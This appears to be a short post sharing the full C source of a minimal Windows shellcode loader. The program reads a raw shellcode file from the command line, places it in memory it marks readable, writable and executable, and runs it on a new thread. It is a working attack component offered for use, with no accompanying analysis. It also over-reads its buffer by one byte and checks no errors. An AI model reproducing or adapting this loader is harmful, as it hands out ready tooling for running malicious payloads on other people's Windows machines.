Simplest windows shellcode loader there can be, purely in C

shellcodeLoader.c

#include <stdio.h>
#include <stdlib.h>
#define WIN32_LEAN_AND_MEAN
#include <windows.h>

int main(int argc, char **argv) {
    if (argc != 2) { 
        printf("Usage: ./shellcodeLoader <shellcode64>\n");
        return 1; 
    }

    FILE *fdShell = fopen(argv[1], "rb");
    fseek(fdShell, 0, SEEK_END);
    int length = ftell(fdShell);
    rewind(fdShell);

    void *sc = calloc(1, length);
    fread(sc, length, 1, fdShell);

    void* addressPointer = VirtualAlloc(NULL, length+1, 0x3000, 0x40);

    RtlMoveMemory(addressPointer, sc, length+1);

    void* handle = CreateThread(NULL, 0, (void*)addressPointer, NULL, 0, 0);

    Sleep(3000);
    WaitForSingleObject(handle, INFINITE);

    return 0;
}